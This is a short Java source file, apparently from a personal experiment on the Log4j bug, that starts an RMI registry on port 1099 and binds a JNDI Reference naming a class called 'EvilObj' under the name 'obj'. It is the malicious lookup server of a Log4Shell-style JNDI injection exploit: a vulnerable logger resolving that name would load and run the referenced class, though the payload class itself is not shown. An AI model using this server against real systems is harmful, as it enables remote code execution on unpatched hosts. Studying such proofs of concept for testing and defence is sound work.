package com.ww.trysomething.log4j_bug;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JndiServer {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            String cl = "com.ww.trysomething.log4j_bug.EvilObj";
            Reference reference = new Reference(cl,cl,cl);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("obj",referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
